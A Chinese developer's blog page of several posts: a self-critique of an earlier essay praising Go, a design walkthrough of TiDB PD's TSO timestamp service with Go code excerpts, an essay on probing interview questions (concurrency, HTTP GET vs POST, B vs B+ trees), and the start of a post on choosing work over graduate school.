2 年前我发表了一篇题为我为什么要把 Go 作为主力语言的文章。彼时我与 Go 初相识,满满都是蜜月期的欣喜,甚至不惜以留下一篇黑历史为代价,狠狠地对其进行了吹捧。时至今日再次翻及往事,看着字里行间让人难以直视的尬吹,我恨不得凿个地洞钻进去......当然,直面历史,深刻反省才是好的,于是本文孕育而生,主要目的是为了对前述那篇文章进行批判,看看当时年少无知的我犯下了哪些错误,同时再讲讲自己写 Go 这 2 年的一些新感悟。 那么有没有一门既有动态语言的特性,又能在运行时有良好性能,甚至拥有很好的多线程表现的语言存在呢?结果我认为是肯定的,这门语言就是 Go。 很遗憾,说的这几个我现在都很难认同了,后面再详细展开。 所以第一个要提到的便是 Go 的语法设计非常简洁,一共只有 25 个关键字,虽然没有类的存在,但是 Go 通过 Interface 实现了抽象程序行为的特性,其思想有点类似多态的概念,使用起来也十分的灵活。 所谓「大道智减至简」,现在看来简洁似乎并没有给 Go 带来好写的一面。他确实让「统一语言习惯」这件事变容易了,但是这真的是好事吗?没有泛型(其实有了,但至少还没普及)甚至让排序这件事都需要先 Len/Swap/Less 一把梭,体验实在是一言难尽。同时看着 Rust 等其他语言在表达能力上的丰富,各种闭包,各种链式调用浑然天成。再看看自己只能 for range 乖乖循环遍历 slice 的苦逼样子,说不羡慕只能是假的。 以及 interface 这个设计本身也是让人又爱又恨,爱在简单的抽象让程序写起来没有那么复杂,基于行为定义的接口某种意义上也更符合写「面向过程」代码时的直觉;然而恨就在维护和阅读 interface 实在是太蛋疼了,每次读代码企图学习某些功能的内部实现时,看到参数传入的是一个 interface 我就心凉了一半,你不知道这个 interface 实际在运行路径上会具体传入哪个实现,能做的只有再忍痛读调用前的代码并祈祷不要再遇到更多的 interface。然后你会暮然回首感慨:这 TM 跟动态语言有什么区别?有时候我看着 TiDB 在拿到一条 SQL 语句的 AST 以后,还要用 switch 语句一个一个区分不同类型 Node 的处理逻辑,我会想这一切到底是怎么变成这样的呢? 尽管 Go 是一门静态的强类型编译语言,但是 Go 也提供了一些类似动态语言的特性。例如使用类型推导来减少代码的工作量。(并不是偷懒) 确实不是偷懒,但我也不知道一个类型推导在那个时候怎么就成了我眼中动态语言的特性了,也许这就是又菜又爱吹吧,好想从这个世界上消失。 Go 语言中的并发程序有两大法宝。即 goroutine 和 channel,其基于一种名为「顺序通信进程 Communicating Sequential Processes 」的现代并发编程模型而来,在这种编程模型中值会在不同的运行实例 goroutine 中通过 channel 来传递。 接触 Rust 后学到了一个词:零成本抽象,大意是你获得某样高层的抽象特性所需要付出的代价(几乎)为零。在 Go 里面,goroutine 显然不是一个零成本抽象,即便它只围绕了 go 这样一个简单的关键字,但在使用 goroutine 这件事情上所要实际付出的代价,有时候也许让 Go 引以为傲的协程并发并没有那么美好。 TSO 是 TiDB 中很重要的一个模块,用于给事务提供满足线性一致性的单增时间戳(我的前两篇博文有其源代码解析和原理介绍,感兴趣的可以一读)。所以它几乎是每一条 SQL 上的 Hot Path,其性能也对 TiDB 的性能产生了至关重要的影响。我们在测试 TSO 性能的过程中对正在处理大量 TSO 请求的 PD 节点(TSO 服务的提供者)进行了 Profile,火焰图如下。 可以看到实际 TSO 的生成计算逻辑,只占据了整个堆栈不到 2% 的调用时间,要知道与此同时 PD 的 CPU 几乎是已经被吃满了的。在火焰图里,Golang 的 Runtime 调度占据了大量的 CPU。原因也不难理解,大量不同的 gRPC 请求被同时发送到了 PD 节点,但由于 TSO 计算过程和原理很简单,所以每一个请求的实际计算并不会占用很长时间,于是大量的任务切换夺走了仅剩的 CPU 性能。为了对比协程/线程切换这件事实际给负载带来的影响,我们用一个提供了几乎一样功能的 Rust 版本 PD 进行了测试,得益于可以手动设置的 gRPC 线程池大小,当我们将线程池大小设置为 1 时,对比 Golang 版本的 PD,CPU 消耗降低了几乎 80%,同时并没有严重影响性能(甚至在延迟等表现上有所提高)。 对于这样的问题,独立出来一个专门的线程池给 TSO 服务是一个比较直观且符合测试结果的方法。但很遗憾,Golang 并不能提供给我们这样简单的机会,也几乎没有关于 goroutine 的并发参数的调整能够帮到我们。我们最后只能诉诸于对 TSO 请求进行 Batch 和转发来降低 PD leader 节点高 CPU 占用的方法来曲线救国。goroutine 确实提供了足够简单的抽象让我们去实现并发,但这也从来不是完全没有代价的多线程银弹罢了。 最后需要再次强调,Go 是一门静态的强类型编译语言,这也注定了其性能和效率非 Python 这样的解释型语言所能比拟。Python 非常适合敏捷开发,即快速写出具有许多高级功能的程序,但并不总是能够提供大型项目所需的高性能。而 C 可以创建高性能的可执行文件,但是添加功能会花费更多时间。Go 被称为 21 世纪的 C 语言,不得不说其确实具有一定两全其美的特性。 关于 Go 的性能问题,前例也仅仅是一个引子,TiDB 在早期版本(甚至现在)也还在 GC 等 Runtime 问题上被有所牵制。Go 的语言特性也让我们在许多与并发资源相关的工作上开展没有那么顺利。 这大致就是 Go 相较于 Python 给我的感受。虽然我也是才开始接触 Go,上文所提也仅是 Go 语言特性的冰山一角,还有许多诸如数据类型、包管理和方法等语言特性还未涉及,但我相信这些灵活好用的特性足以支撑起我成为 Go 拥簇的选择,希望 Go 能够日益完善的发展下去,我也能伴随着 Go 的进化一同成长成为一个合格的 Gopher。 Go 也在一路迭代,甚至在 1.17 版本才引入基于寄存器的函数传参这样史诗级更新,TiDB 也享受了这种语言升级带来的红利(难道不是应该的吗)。现在泛型也呼之欲出,也许在不久的将来就能稳定下来且惠及标准库实现,让我们见到全新的 Go。 此时再回看当年的我在文章一开始写下的这段话: 这不学不要紧,一展开对 Go 的了解,我便狠狠地喜欢上了这门语言(可能和一见钟情的感觉类似)。也出于此,我想写一篇博客来谈一谈我在与 Go 接触的第一印象中,到底是什么吸引住了我,以至于我想要把 Go 从今往后作为自己的主力语言。 现在的我很喜欢一句话:Cheerleading any kind of inanimate object is silly。我也在 brupst 的项目介绍里这样写道:「我们无意参加各类语言之争,也不倡导说出「Rust 是世界上最好的语言」这种言论 (如果你发自真心这么觉得,倒也不是不可以) ,我们只希望能在 Rust 发展的道路上尽自身一份绵薄之力,并让其优势惠及更多有趣的灵魂和创意。同时宣扬开源精神,让这个世界变得更好!」,私以为一个成熟的程序员不应该花费精力参与到这种类似宗教战争一样的运动中去,没有哪个木匠会为了「扳手好用还是锤子好用」这样的事情而与另一个木匠争执不休。我觉得语言某种意义上来说也是同理。所以说这种所谓的「作为主力语言」还是算了(无非是没机会写其他的语言罢了)。每种语言都有优势和不足,能够掌握多种语言在各种领域游刃有余,在重要的时刻能够正确地选择最适合自己的瑞士军刀也许才是修炼之道,Go 语言修仙?

2021/12/20
articleCard.readMore

TiDB 5.0 事务分布式授时模块

好吧,其实只是想转载一下发在公司博客上的这篇文章,顺便写(水)一篇博客,反正都是自己写的,不算过分吧? TiDB 5.0 跨中心部署能力初探 | 中心化还是去中心化?揭秘 TiDB 5.0 事务分布式授时模块

2021/3/4
articleCard.readMore

PD 授时服务 TSO 设计简析

本来这是一篇要发到公司博客的技术文,但后来搁置了,最近又在写最新的分布式 TSO 技术分享,于是索性把之前这篇完善一下分享到博客上。由于开发改造,相关的代码存在一些改动,可能与最新的 master 分支存在不一致,所以本篇严格意义上仅针对 PD 的 release-4.0 或更早分支,但整体设计思想和细节还是一脉相承,没有太大变化。 一些背景 TiDB 的事务实现基于 Google Percolator 分布式事务协议,在整个过程中,我们需要一个严格保持线性增长的时间戳来保证事务的 Linearizability。而要在分布式系统中做到这一点,在业界有以下 3 个主流方式: True Time Hybird Logic Clock Timestamp Oracle Google Spanner 使用的是 True Time,即用一套基于 GPS 全球同步的原子钟级别硬件设备来达到全球范围内的时间一致性,通过对外暴露几个简单的接口即可帮助分布式系统获得线性的时间戳。不过由于不是所有公司都有 Google 这样的财力,同时作为硬件解决方案,其很高的成本和通用性问题让 True Time 的使用对大多数公司只是不能望其项背的存在。 CockroachDB 采用的是 Hybird Logic Clock 方案,HLC 完全是一个算法方案,通过混合物理时间和逻辑时间来达成时间戳的线性增长。由于 HLC 基于 NTP(网络时间协议),考虑到同步错误等问题可能带来的物理时间误差,往往在 HLC 算法中会存在一个有效的时间边界范围,再结合一些事务机制,CockroachDB 实现了仅对单行事务保证线性一致,对于涉及多行的事务则无法保证绝对的线性一致。 TiDB 采用了 PD 进行全局单点统一授时的 Timestamp Oracle 方案。由于只涉及到全局单点且没有复杂的算法,实现起来较为简单。尽管比起上面两个方案,每一次 TiDB 进行事务时都会与 PD 进行网络通信造成额外的开销,但对于常同处于一个 DC 下的 TiDB 与 PD 集群,这部分开销往往在理想范围内。即便是涉及到多个 DC 的事务,我们也会通过一些机制(例如完全涉及本地表的事务可以只需要一个 Local TSO 而无需立即与全局 TSO 进行同步)来进行优化。经过多方面的考量,我们最终选择了 TSO 来作为分布式系统的时间解决方案。下为 TiDB 的架构图,其中 PD 为 TiDB 提供的两大主要功能就是 TSO 授时和数据位置元信息同步。 目标 由于整个集群的 TSO 授时工作都集中在了 PD 身上,所以怎样做到低延迟,高性能和良好的容错,是我们在实现时需要关注的几个目标点。我们主要通过基本结构,校时,授时以及递进这四个部分来讲解 PD TSO 的具体工作原理。 设计原理 基本结构 对于 PD 来说,我们要保证它能快速大量地为事务分配 TSO,同时也需要保证分配的 TSO 永远单调递增,即一旦分配了时间戳 t1,往后再也不可能出现一个时间戳 t2 满足 t2 <= t1。 TSO 是一个 int64 的整型,它由 Physical time 和 Logical time 两个部分组成。Physical time 是当前的 Unix 系统时间戳(毫秒),而 Logical time 则是一个范围在 [0, 1 << 18] 的计数器。这样一来便做到了在每毫秒的物理时间粒度上又可以继续细化成最多 262144 个 TSO,足以满足绝大多数使用场景了。 // server/tso/tso.go // atomicObject represents a tso type atomicObject struct { physical time.Time logical int64 // maxLogical = int64(1 << 18) } 实际使用 atomicObject 时,我们会始终将一个指向其值的 UnsafePointer 作为访存 TSO 的唯一方式。比起直接传值,这么做的目的是为了控制 TSO 在调用链之间传递时的行为,避免返回的 TSO 在某一个环节被更改,从而破坏 Linearizability 约束。 校时 PD 的 TSO 授时工作是由集群中 leader 来完成的。为了在 PD 集群中持久化当前分配的最大 TSO,避免因为 leader 挂掉而影响 TiDB 的事务,我们需要把 TSO 的物理时间戳存储到 etcd 中去。同时为了提高响应授时 RPC 请求的速度,我们也要避免与 etcd 交互得过于频繁,不能每有一次 TSO 更新就进行一次 etcd 读写。所以我们要存储的并不能是最近一次的授时结果,而是一个时间窗口的范围,这一点我们会在稍后的时间戳递进实现中做进一步阐述。 每当一个新的 PD leader 被选举出来时,便会进行一次校时,即从 etcd 中取出上一次保存的物理时间戳,并与本地物理时间做比较,进行校对处理。 // server/tso/tso.go const updateTimestampGuard = time.Millisecond // Load last timestamp stored in etcd last, err := t.loadTimestamp() if err != nil { return err } next := time.Now() if typeutil.SubTimeByWallClock(next, last) < updateTimestampGuard { next = last.Add(updateTimestampGuard) 用当前系统时间 next 减去上一次在 ectd 中存储时间戳 last,如果小于我们设定的常量 updateTimestampGuard(默认为 1 毫秒),我们就认为需要使用 last 来作为下一次持久化时间戳的起点。不难理解,如果当前系统的时间戳和上一次使用的 TSO 靠的太近或者说甚至小于它,就会存在破坏线性一致性的潜在风险,于是需要通过使用 last 并强制增加一个精度范围来进行控制,从而保证新上任的 leader 所分配的 TSO 一定大于之前所有已分配的 TSO。 save := next.Add(t.saveInterval) if err = t.saveTimestamp(save); err != nil { return err } current := &atomicObject{ physical: next, } t.lease = lease atomic.StorePointer(&t.ts, unsafe.Pointer(current)) 紧接着,我们对选出的,需要进行下一次持久化的 TSO 物理时间部分加上一个时间间隔,默认是 3 秒,然后使用 saveTimestamp(save) 将其保存到 etcd 中。PD 这么做的目的是为了能够在这个时间间隔内能直接使用内存里面的 next 的时间戳,避免频繁的与 etcd 进行交互。在内存中直接进行 TSO 计算并返回的性能很高,我们自己内部测试每秒能分配百万级别的 TSO。同时,每当这个时间窗口过期之后,PD 会继续进行同样的动作把 etcd 中的时间更新为 save + 3s。 授时 在上述校时完成的基础上,我们已经在内存中存储了可用于授时的计算数据。为了进一步提高效率和减少开销,我们往往会批量地向 PD 获取 TSO。client 会首先收集一批事务的 TSO 请求,譬如 n 个,然后直接向 PD 发送命令,参数就是 n,PD 收到命令之后,会生成 n 个 TSO 返回给客户端。 // server/tso/tso.go var resp pdpb.Timestamp for i := 0; i < maxRetryCount; i++ { current := (*atomicObject)(atomic.LoadPointer(&t.ts)) if current == nil || current.physical == typeutil.ZeroTime { return pdpb.Timestamp{}, errors.New("can not get timestamp, may be not leader") } resp.Physical = current.physical.UnixNano() / int64(time.Millisecond) resp.Logical = atomic.AddInt64(&current.logical, int64(count)) if resp.Logical >= maxLogical { time.Sleep(UpdateTimestampStep) continue } if t.lease == nil || t.lease.IsExpired() { return pdpb.Timestamp{}, errors.New("alloc timestamp failed, lease expired") } return resp, nil } 当客户端请求 PD 的 TSO 服务时,返回给客户端的是混合了物理与逻辑时间的 TSO。其中 PD 中的的物理时钟会随着系统时间递增,而逻辑时钟部分只会被动地随着授时请求原子增加。这里我们可以注意到:由于逻辑时钟有范围限制,如果超出这个限制,leader 会选择睡眠 UpdateTimestampStep 长度的时间(默认 50 毫秒)来等待时间被推进。UpdateTimestampStep 为 PD 更新系统时间戳操作的时间片间隔,所以至少等待这样一段时间,系统中的物理时间便一定会被推进,相应的逻辑时间也会重置归零,届时便可以继续分配时间戳。TSO 计算过程中,还需要实时对 leader 的 lease 进行检查,如果 lease 过期则不能继续再分配 TSO,保证 PD 集群中每时每刻有且仅有一个 leader 可以进行 TSO 的生成。 递进 TSO 的递进更新操作随着系统时间的流逝和 leader 续约 lease 一同进行。 // server/server.go for { select { case <-leaderTicker.C: if lease.IsExpired() { log.Info("lease expired, leader step down") return } etcdLeader := s.member.GetEtcdLeader() if etcdLeader != s.member.ID() { log.Info("etcd leader changed, resigns leadership", zap.String("old-leader-name", s.Name())) return } case <-tsTicker.C: if err = s.tso.UpdateTimestamp(); err != nil { log.Error("failed to update timestamp", zap.Error(err)) return } case <-ctx.Done(): // Server is closed and it should return nil. log.Info("server is closed") return } } UpdateTimestamp 函数主要做三件事情,一是更新当前内存中 TSO 物理时间(逻辑时间只随着分配请求被动递增,不会主动增加),二是检查当前逻辑时间是否超过阈值,三是适时地更新 etcd 中的时间窗口。同时为了保证 TSO 的线性一致性,UpdateTimestamp 函数在整个过程中要保证以下几个约束: 物理时间严格单调递增 存储在 etcd 的时间戳严格单调递增 物理时间必须小于存储的时间戳 先来说一,更新当前内存中 TSO 物理时间,同时保证物理时间严格单调递增,其实只要让 TSO 的物理时间与现实世界同步流逝即可,所以符合直觉的做法就是将其实时地更新为当前系统时间。当然,当前系统时间并不能严格保证约束,系统时间被手动更改,网络校时后系统时间回溯,换选后的 PD leader 系统时间更慢等等都是我们需要考虑到的情况。PD 在这一点上也有做处理,即只有当系统时间大于当前(也就是旧)TSO 物理时间戳时才会对其进行更新,保证约束。在系统时间落后的机器上,TSO 的物理时间不会主动推进,仅在逻辑时间突破限制是被动增加,如此一来便可以做到让 TSO 慢下来等待系统时间追上它的进度。 // Physical time now minus prev.physical jetLag := typeutil.SubTimeByWallClock(now, prev.physical) // If the system time is greater, it will be synchronized with the system time. if jetLag > updateTimestampGuard { next = now } 再来说关于检查逻辑时间是否超过阈值,尽管逻辑时间有 [0, 1 << 18] 的范围,但我们还是要考虑这个范围有被突破的可能,为了避免溢出的发生,我们会实时检查逻辑时间值,当其超过最大范围的一半时(一半这个设定目前是写死的,经过我们的考量其足以覆盖大多数场景),便会清零逻辑时间并给物理时间加上 1 毫秒。 if prevLogical > maxLogical/2 { // The reason choosing maxLogical/2 here is that it's big enough for common cases. // Because there is enough timestamp can be allocated before next update. log.Warn("the logical time may be not enough") next = prev.physical.Add(time.Millisecond) } 最后说三,前文我们提到过 PD 为了能在不频繁与 etcd 进行交互的前提下来进行存储并直接使用内存里的时间戳进行 TSO 分配,会向 etcd 内写入一个时间窗口,并适时地更新这个窗口。注意到代码中这个 updateTimestampGuard 常量,其值为一毫秒,当我们发现上一次存储在 etcd 中的值和当前时间已经接近到一毫秒及以内时,说明上一个窗口时间即将或已经到期耗尽,需要我们对时间窗口进行滑动,开辟新的可用时间空间,即加上默认的 3s 时间间隔并写入 etcd。 // The time window needs to be updated and saved to etcd. if typeutil.SubTimeByWallClock(t.lastSavedTime.Load().(time.Time), next) <= updateTimestampGuard { save := next.Add(t.saveInterval) if err := t.saveTimestamp(save); err != nil { return err } } 由此一来,我们完整回顾了 TSO 授时工作从一个 PD leader 上任进行初始校时到随时间流逝进行递进的过程设计,并且适时注意了 Linearizability 的约束保证。还通过引入时间窗口等概念提高 TSO 分配的速度,期以达到良好的性能,保证 TiDB 的事务效率。接下来我们会在此基础上,继续讨论一些还可能进行优化的点。 可能的优化点 PD 采用了中心式的时钟解决方案,本质上还是混合逻辑时钟。但是由于其是单点授时,所以是全序的。中心式的解决方案实现简单,但是跨区域的性能损耗大,因此实际部署时,会将 PD 集群部署在同一个区域,避免跨区域的性能损耗。但是有一个绕不开的场景便是跨 DC 授时,上图展示了这样一种情况——我们只能通过 PD leader 来分配 TS,所以对于 client 2 来说,它需要跨 DC 先从 DC1 的 PD 上面拿 TSO,而这样做势必会影响到 client 2 的延迟。但往往用户的业务是有 DC 关联特性的,如果一次事务所涉及的数据读写只会发生在一个 DC 上面,那么我们其实只需要保证当前 DC 内的 Linearizability,如下图所示。 怎样做到在做到本地 TSO Linearizability 的前提下提高效率,又同时能保证之后出现的跨 DC 事务能够不冲突,其实是一个我们现在正在进行,且将来会支持的一个优化点。 除此之外,由于 PD 使用 Go 开发,Go 的 runtime 调度并没有优先级的概念,当 goroutine 越多时,TSO 更新分配的 goroutine 越容易迟迟拿不到执行的机会,从而会致获取 TSO 变慢。goroutine 尽管为开发者提供了非常便利的并发编程体验,但是由于其抽象程度之高,开发者能对调度所做的干涉有限,我们做过诸如绕过 runtime 直接进行网络层面的 syscall 去完成请求的尝试,但效果均不理想,所以 goroutine 调度这一块也是我们需要持续关注去完成优化的一个点。 此外,PD 通过引入 etcd 解决了单点的可用性问题,一旦 leader 节点故障,会立刻选举新的 leader 继续提供服务,理论上来讲由于 TSO 授时只通过 PD 的一个 leader 提供,所以可能是一个潜在的瓶颈,但是从目前使用情况看,PD 的 TSO 分配性能并没有成为过 TiDB 事务中的瓶颈。 推荐阅读 分布式事务中的时间戳 TiKV 功能介绍 - Placement Driver

2021/1/27
articleCard.readMore

如何在面试中筛选/不做一个「背题家」

众所周知,国内互联网大厂的面试流程一般都比较公开透明,网上也会有不少所谓的面试经验分享,其形式内容基本大同小异,会谈及诸如有几面,每一面都问了哪些问题,做了什么笔试题云云。刨去一些跟每个面试者个人相关的项目问题,剩下的大多都是都是一些通用知识考察,比如操作系统,计算机网络,数据库等。面试者与被面试者往往都是科班出身,要说这些问题的难度也不过尔尔,只要有过系统性的学习,也基本都能从容应对。不过计算机领域之广袤,知识的广度和深度都非常可观,想要面面俱到,也并非易事,但作为企业,面试官总归是想要招到能力更强更好的全才,所以面试前的准备功课不可或缺。但常常出于功利的目的以及追求效率的考虑,很多面试者会选择这样一条道路——背题。上到算法题,下到基础性的概念,无所不背,如此急功近利的做法,往往还会颇有成效。想必在你的漫长面试生涯中,一定听过面试官问过这几个问题(甚至可以做到一字不差): 进程和线程有什么区别? 什么是 TCP 的三次握手和四次挥手? HTTP 中的 GET 和 POST 方法有什么区别? B 树和 B+ 树有什么区别? 什么是数据库的 ACID? ...... 如果你身经百战,这些问题的答案应该信手拈来,很多时候甚至这些知识在你脑中已经不再是一种储备,而是近乎肌肉记忆的条件反射,一听到关键词,答案在嘴边如同施法一般就脱口而出......毕竟面试官问的次数实在是太多了!然而,大多数时候面试官的问题便在此戛然而止,少数面试官会继续问一句「为什么」,但也不过是浅尝辄止,看你说个差不多就「满意」地点了点头,进入下一个问题。几乎没有面试官会继续追问问题更为本质的一面,即「为什么背后的为什么」,也是在此,理解者和背题家的差距便会被暴露。上面这几个问题刚好涵盖了操作系统,计算机网络和数据库,我们挑选其中一些来一一分析讲解,来看看这些问题到底简单在哪里,又难在哪里,以至于大多数人都知其然却不知所以然,通过不停的追问即可到达我们今天的目的:筛选背题家。 并发 vs 并行 比起进程和线程的区别,我想先来讲讲「并发」和「并行」这两个词。中文语境下这两个词的区别似乎并不大,意思也难有较大区分,所以我们先来看看它们的英文:Concurrency 和 Parallelism。这两者是有区别的:「并发 Concurrency」意指在同一时间我们同时处理多个事情,而「并行 Parallelism」意指在同一时间我们同时做多个事情。让我们来用一个比喻解释这两者行为的区别: 你吃饭吃到一半,电话来了,你一直到吃完了以后才去接,这是串行。 你吃饭吃到一半,电话来了,你停了下来接了电话,接完后继续吃饭,这是并发。 你吃饭吃到一半,电话来了,你一边打电话一边吃饭,这是并行。 可以看到,完成「吃饭」和「接电话」两件事情所需要的时间,串行 == 并发 > 并行。计算机中,并发和并行无论是在底层设计还是上层编程中都是我们用于提高计算机处理效率以及性能的主要思想。看到这你可能会有这样一个疑惑:这并发也没让我们处理事情的效率变高啊,不还是和串行要用一样的时间吗?我们知道,计算机进行计算是需要资源的,这些资源包括但不限于 CPU 算力,内存以及网络 I/O 等,在有限的资源上完成更多的事情显然是我们的一个目标,而并发和并行分别从两个角度来达成这一目的: 并发通过提高执行任务时的资源利用率来提高效率 并行通过减少执行任务的耗时来提高效率。 可以看到,前者省下的是资源,而后者省下的是时间(要做的这一点也许还会消耗更多资源)。回到刚才打电话吃饭的例子,串行和并发的两个场景,虽然用时相同,但有一个显著的区别,即在串行的场景下,你的电话在你吃饭的过程中一直在响(暂时忽略你太久不接它会自动或主动挂断这个设定),在整个过程中,你的电话一直处于这一个电话的「等待响应」状态中,此时如果有另一个人也想给你打电话,他显然只能听到忙音而无法联系上你,这时候我们就可以说「电话」这个资源在整个过程中因持续占用却不被处理而浪费了。反观并发的场景,你立马停止了吃饭接听电话,尽管并没有节约时间,但是你的电话资源很快便被处理并释放了出来,此时如果有第二个电话到来,比起第一个场景,你在相同的时间里更多地利用了「电话」,假设第二个电话直接帮助你谈成了一笔 1 个亿的大合同,比起串行场景下接不上可能导致的错亿,可以不可以说并发帮助我们提高了任务处理的效率呢?答案是显然的。 在了解了以上概念后,「进程和线程有什么区别」这个问题又可以引申出多个问题: 在多核 CPU 场景下,线程的执行是并行的吗? 在单核 CPU 场景下,使用多线程可以帮助我们提高程序的运行效率吗? GIL 的存在是否意味着 Python 无法做到并发?它会影响所有的多线程场景吗? 不同语言实现并发主要通过哪几种方法? 在此我不提供解答,希望大家能够自己发掘这些问题的答案,帮助自己更好地理解进程,线程,并发以及并行这些玩意儿。 GET vs POST 想成为一个 CRUD Boy,HTTP 协议想必你一定了解,面对面试官「HTTP 中的 GET 和 POST 方法有什么区别?」的提问,你心里也许已经想好了一大票答案来回答: GET 作为书签可收藏,POST 作为书签不可收藏。 GET 使用 URL 传递参数,POST 使用表单传递参数。 GET 对传输数据长度有限制,POST 没有限制。 GET 用于获取数据,POST 用于发送数据。 ...... 很遗憾,以上所有都是片面的表象,甚至有些错误,而且也都不是 GET 和 POST 方法的本质区别。事实上,GET 和 POST 从理论上的技术使用来说,没有任何实质区别。GET 能做的事情 POST 也能做到,反之亦然。你完全可以只用 GET 方法来完成你 Web 应用里的所有请求,从读到写一应俱全,POST 也可以在 URL 里带参数,GET 也可以用 Body 来发送数据,实际产生的报文也仅有一些格式上的区别。那么既然「没区别」,那为什么还要区分不同的 HTTP 请求方法呢?要回答这个问题,我们需要从一个词入手:语义。 想必你一定会发现,实际场景中 GET 往往用于获取数据,而 POST 往往作为某些需要发起写数据的请求方式来使用。这几点其实并不是大家逐渐形成的使用习惯,而是早就在 HTTP 的 RFC 中有过明确的定义: The GET method requests transfer of a current selected representation for the target resource. GET is the primary mechanism of information retrieval and the focus of almost all performance optimizations. Hence, when people speak of retrieving some identifiable information via HTTP, they are generally referring to making a GET request. A payload within a GET request message has no defined semantics; sending a payload body on a GET request might cause some existing implementations to reject the request. The POST method requests that the target resource process the representation enclosed in the request according to the resource’s own specific semantics. 现在你可以发现,GET 和 POST 其实仅有语义上的区别。 GET 意味向请求选择获取一系列资源,也就对应着「读资源」的场景,其需要满足安全,幂等和可缓存,即请求无害,多次请求结果一致,不会改变服务端的状态,并且读结果可以被缓存。对 GET 请求的携带消息并没有任何定义,如前文所述可以通过 URL 也可以通过 Body,但考虑到不同应用(诸如浏览器)的实现不同,选用后者也许会有一些问题。 POST 根据请求负荷对制定资源作出处理,也就对应着「写资源」的场景,其不一定安全,不保证幂等,大部分实现不可缓存。 看到这里,再次面对「HTTP 中的 GET 和 POST 方法有什么区别?」的提问,你又会怎么回答呢? B Tree vs B+ Tree B 树和 B+ 树的区别想必也是老生常谈的话题了,说起来区别,什么一个根结点的儿子数为 [2, M],一个数据只存在于叶节点等等,大多数人也是朗朗上口,倒背如流。MySQL 默认的存储引擎 InnoDB 会使用 B+ 树来存储数据,无论是表中数据的主索引还是辅助索引都会使用 B+ 树来存储数据,所以......为什么要用 B+ 树而不是 B 树呢?刚才说的那些区别,到底是为什么呢? B 树和 B+ 树可以说都是平衡二叉树的变种。说区别前,我们先来看看平衡二叉树是为了解决什么问题而存在的。平衡二叉树是基于二分法的策略提高数据的查找速度的二叉树数据结构,学过算法和数据结构的你一定知道,树的高度越矮,两边的节点越平均(平衡),越有利于我们将查找数据的速度优化到近于二分法查找,即 O(log n) 中的树高 n 越小,我们做一次数据访问和修改的代价越低。B 树和 B+ 树均为平衡多路查找树,对比二叉树最明显的区别就是一个父节点的查找路径不再是只有两个,可以是多个,这样一来便很直观地达到了一个目的——让我们的树更矮了。至于其他的区别,我们一一来辨明。 B 树的非叶子节点同时保存关键字和对应数据,而 B + 树的非叶子节点只保存关键字,具体数据只存在于叶子结点 B 树和 B+ 树均以页为单位,每一页的大小默认即为操作系统的页大小(大多数情况下为 4KB),设想 B+ 树在页大小不变的情况下,只在非叶子结点存储关键字而不是全部数据,此优化让 B+ 树比起 B 树可以在同样的页大小下增加更多的关键字数量,相应的树层数也会减少,增加读取效率。 B + 树叶子节点保存了父节点所存储关键字的所有具体数据 如上所说,两者均以页为单位划分数据,而操作系统在发现需要的数据不在内存中时,会以页为单位从硬盘上进行加载,这每一次加载便会触发一次 I/O 操作。假设我们要做一次范围查找,而范围的左右边界均在不同的页上,那么意味着想要找所有范围内的关键字数据,B 树需要我们多次从根节点页出发,依照查找路径访问不同的页,而 B+ 树中就不存在这个问,因为所有的数据都存储在叶节点中,并且这些叶节点之间往往又会通过类似链表的方式按顺序进行连接,在范围查找的场景下,我们只需要一次从跟节点页出发,到达范围的左边界后直接在多个子节点之间进行跳转,这样势必能比 B 树的多次换页查找节省大量的磁盘 I/O。 以上两个可以说是 B 树和 B+ 树最大的区别和其背后的设计原理,总结而言,B + 树的优点是: 更矮,因为每个非叶子结点只需要存储关键字。 更稳定,因为具体数据只存在于叶子结点上,所以每次查找的次数一定相同——为树的高度。 更快,因为叶子节点间互相链接且保证有序,所以进行扫描遍历更快。 B 树也不是一无是处,如果经常访问的数据离根节点很近,也就是说数据的访问频率和树的高度相关联场景下,B 树因为在非叶子结点中本身存了数据,会比 B+ 树更快。 下次再被问同样的问题,除了说出这些区别,主动再讲讲区别背后的考量和出发点,一定会让面试官眼前一亮。比起只能说出区别,而讲不出为什么,高下立判。 结语 由于篇幅有限,我不能针对更多的问题进行分析,所以只挑选了几个我认为具有代表性的问题来进行阐述。本文旨在抛砖引玉,作为面试者,我希望你能在日后的面试过程中能够注重对问题本质认识的发掘,这样可以更快的发现候选人身上的闪光点,筛选掉水平良莠不齐的面试「背题家」;作为被面试者,我希望你能在日后的学习过程中更深入的了解自己所学知识,比起知道 How 和 Why,知道 Why why 才是真正对许多事物有透彻理解的终点。在这里送大家一句话: Stay foolish, stay hungry. 求知若渴,虚心若愚。 参考文献 What's the difference between concurrency and parallelism? 并发与并行的区别是什么? GET 和 POST 到底有什么区别? Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content 为什么 MySQL 使用 B+ 树

2020/7/23
articleCard.readMore

在读研 & 工作中选择后者

明年就要毕业了,「读研还是工作」也理所应当成为了很多人心中纠结反复,辗转不休的心结。好在我在去年近年末的时候就大致想清楚了这个问题,并且下定决心,拟定了一些目标。到目前来看,实施的还算不错,在稳步中逐渐走上了一个比较符合心里预期的方向,所以也萌生了写一篇文章,讲一讲想法和相关动机与契机。 在开始之前我需要界定一些范围。本篇文章的大多数细节内容可能只适用于 CS 或者其他计算机相关专业,以及,我的经历固然会与我个人的方方面面强相关,个体差异也应该在读者的考量范围内,诚然其背后有普适方法论的存在,但对其总结归纳不是攥写本文的目的。最后,我诚挚地希望每个人都能在这篇文章里有所收获 : -) 为什么不读研 这个说来话长,但是非要总结归因,我觉得倒是出乎意料的简单粗暴:我不喜欢学习(狭义上的应试学习),我喜欢做事情的感觉。再具体细分一下其中的因素,应该是以下几点: 本科成绩不佳,无法直接保研。 厌恶应试学习,为了考研进行学习对我来说是痛苦且枯燥的。 非常喜欢实践,做具体的事情,把学到的东西真实运用在生产生活中能带给我的满足感远超一切。 自认为有可以本科毕业直接工作的能力。(无自卖自夸之意) 前两点是促使我选择工作的直接原因。读研深造固然可以拔高平台,提高能力,让自己的起点比较高,但得到这一结果的付出成本对我而言显然是不可接受的,甚至不考虑考研失败造成的巨大沉没成本,在有可以选择做自己喜欢的事情这个选项的同时去选择花费大量的时间做我不喜欢的事情,无疑是一种自我虐待。其它无须多言,后两者自然是促使我选择工作的根本原因。 